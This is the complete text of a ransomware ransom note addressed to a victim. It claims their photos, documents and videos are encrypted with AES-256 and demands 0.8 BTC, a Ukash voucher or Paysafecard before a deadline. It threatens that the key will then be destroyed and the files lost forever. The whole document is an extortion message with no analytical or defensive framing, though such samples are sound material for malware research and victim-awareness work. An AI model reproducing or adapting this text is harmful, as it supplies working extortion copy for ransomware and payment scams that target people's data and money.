What happened to my files?

Your photos, documents, and videos on this computer have been encrypted with AES-256. To get your files back you will need to purchase your encryption key within the set date, failing to pay will result in the destruction of your key.

How do I obtain my key?

The key produced for your computer is stored on our server. To obtain the unique key for your computer, which will decrypt and recover your encrypted files, you will need to pay a fee in Bitcoin/UKash/PSC prior to the key destroy date. After that your key will be destroyed and nobody will ever be able to recover your files.

Payment Method

Bitcoin (Cheapest Option) 0.8 BTC

Bitcoin (Cheapest Option)

Ukash Voucher (Europe)

Paysafecard (United Kingdom and Europe)
